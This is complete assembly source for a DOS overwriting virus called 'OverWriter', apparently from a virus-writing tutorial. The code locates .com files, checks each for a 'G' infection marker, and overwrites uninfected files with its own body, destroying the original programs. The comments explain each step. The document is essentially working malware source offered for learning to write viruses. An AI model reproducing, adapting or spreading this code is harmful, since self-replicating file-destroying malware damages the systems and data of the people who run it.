;--------------------Start of Source--------------------; ; OverWriter by Pocket [Pockies], for this Tutorial ; ;-------------------------------------------------------; overwriter segment assume cs:overwriter org 100h ;Beginning of execution, to ;make room for the PSP, as ;explained earlier. start: jmp real_start db 'G' ;Marker byte, explained later. real_start: mov ah, 4eh ;Find the first file... mov dx, offset fmask ;Matching fmask... int 21h jmp open find_next: mov ah, 4fh ;Find the next file matching int 21h ;Previous search jc exit open: mov ah, 3dh ;Open file... mov al, 02h ;Read and write mode... mov dx, 09eh ;9eh = Asciiz of file in DTA. int 21h xchg ax, bx ;Open file moves file_handle to ax, ;However, we need it in bx. mov ah, 3fh ;Infection check, so we mov cx, 4h ;Don't keep overwriting the same file mov dx, offset temp_buff int 21h cmp byte ptr [offset temp_buff+3], 'G' ;Infection check. je find_next ;If infected, find next. mov ah, 40h ;Write to file... mov dx, offset start ;Where to copy from... mov cx, (offset vend - offset start) ;How many bytes to write. int 21h mov ah, 3eh ;Close and save file... int 21h exit: mov ah, 4ch ;Terminate and return to DOS. int 21h fmask dd '*.com' vend db 0 overwriter ends end start ;-------------------------------------------------------------------; ; This source code was totally made by Pockies :) ; ;-------------------------------------------------------------------;